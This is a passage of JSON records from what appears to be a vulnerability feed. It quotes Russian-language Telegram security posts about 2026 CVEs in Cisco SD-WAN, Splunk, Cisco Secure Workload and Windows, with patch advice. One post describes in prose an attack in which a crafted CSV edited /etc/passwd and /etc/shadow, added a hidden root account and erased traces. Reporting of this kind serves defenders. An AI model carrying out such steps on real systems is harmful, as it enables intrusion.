\u0441\u0435\u0439\u0447\u0430\u0441.\n\n\u041a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u0436\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0433 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \u0412 \u0430\u0442\u0430\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 evil_tenant.csv, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u0435\u043d\u044f\u043b /etc/passwd \u0438 /etc/shadow, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u043b \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c troot \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b root-\u0434\u043e\u0441\u0442\u0443\u043f. \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b.\n\n\u0418\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439: \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Cisco SD-WAN \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u0432, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043c\u0435\u0440 \u043d\u0435\u0442. \u0422\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c peer-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0441\u043b\u0435\u0434\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 troot \u043f\u043e \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c Mandiant. \u0422\u0430\u043a\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043e\u043f\u0430\u0441\u043d\u0430 \u043d\u0435 \u0441\u0430\u043c\u0438\u043c \u0444\u0430\u043a\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u0430 \u0431\u044b\u0441\u0442\u0440\u044b\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 SD-WAN. \n\n#Cisco #SDWAN #Mandiant #Root \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.123304Z"}, {"uuid": "84ec080d-695a-4929-9ee0-019845c815dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/ZerodayAlert/739", "content": "Splunk \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 PostgreSQL\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20253 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Splunk Enterprise \u0432\u0435\u0442\u043e\u043a 10.0 \u0438 10.2. \u0412 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 PostgreSQL, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043e\u0431\u0440\u0435\u0437\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0430 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0421\u0428\u0410 \u043e\u0431\u044f\u0437\u0430\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shadowserver, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 1400 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Splunk, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 \u2014 \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. Splunk \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439 10.4.0, 10.2.4 \u0438\u043b\u0438 10.0.7, \u0430 \u043f\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443 PostgreSQL \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n#splunk #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #cisa\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.224776Z"}, {"uuid": "7cc3928d-7c4a-447e-8653-04056d017704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/ZerodayAlert/730", "content": "Cisco \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0434\u0435\u0442\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SD-WAN Manager\n\nCisco \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20245 (\u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u043f\u043e CVSS 7.8, High) \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 Catalyst SD-WAN Manager. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 SD-WAN \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u0432.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 netadmin \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root. \n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e.\n\nCVE-2026-20245 \u0441\u0442\u0430\u043b\u0430 \u0441\u0435\u0434\u044c\u043c\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Cisco SD-WAN \u0432 2026 \u0433\u043e\u0434\u0443 \u2014 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0451 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442. Cisco \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b /var/log/scripts.log \u043d\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n#cisco #sdwan #root #zeroday \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.327480Z"}, {"uuid": "92de378f-d975-4089-b297-613e417601ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/ZerodayAlert/712", "content": "\u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b CVSS: Cisco \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Secure Workload\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20223 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u2014 10/10 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 REST API \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Cisco Secure Workload \u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445, \u0442\u0430\u043a \u0438 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445.\n\n\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c \u0438 \u0441\u043b\u0430\u0431\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 Site Admin, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u043b\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 3.10.8.3 \u0438 4.0.3.17; \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u0435\u0442\u043e\u043a 3.9 \u0438 \u043d\u0438\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e. \u041e\u0431\u043b\u0430\u0447\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0443\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0443 Cisco \u043d\u0435\u0442.\n\n#cisco #secureworkload #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.792549Z"}, {"uuid": "19270816-068b-4d43-bc1f-3d02d3d58446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/ZerodayAlert/603", "content": "Microsoft \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0Day \u0432 Windows\n\n\u26a0\ufe0f CVE-2026-20805 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0443 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 ALPC-\u043f\u043e\u0440\u0442. \u041f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432\u0441\u0435\u0433\u043e 5.5, \u043d\u043e Microsoft \u0438 CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd17 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u044e\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0443\u0442\u0435\u0447\u043a\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u0437\u0432\u0435\u043d\u043e\u043c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a. \u0423\u0437\u043d\u0430\u0432 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 ASLR \u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u0443\u044e \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udccb CISA \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 Known Exploited Vulnerabilities \u0441 \u043a\u0440\u0430\u0439\u043d\u0438\u043c \u0441\u0440\u043e\u043a\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 3 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. \u0414\u0435\u0442\u0430\u043b\u0438 \u0430\u0442\u0430\u043a Microsoft \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n#windows #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #cisa #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:10.821033Z"}, {"uuid": "373f7f7d-9a2a-4d16-b5e4-8b8b679911af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/ZerodayAlert/604", "content": "\u041f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435\u0441\u044c Windows Server? \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435, \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0430 \u043b\u0438 \u0443 \u0432\u0430\u0441 \u0434\u0432\u0435\u0440\u044c \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438\n\n\ud83d\udee1\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-20931, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u043b\u0438\u0437\u043d\u044e\u043a \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b PT SWARM (Positive Technologies). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 8,0 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e CVSS 3.1 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 TapiSrv \u0432 35 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Windows Server \u2014 \u043e\u0442 2008 \u0434\u043e 2025. \u0411\u0440\u0435\u0448\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u26a0\ufe0f \u0414\u043b\u044f 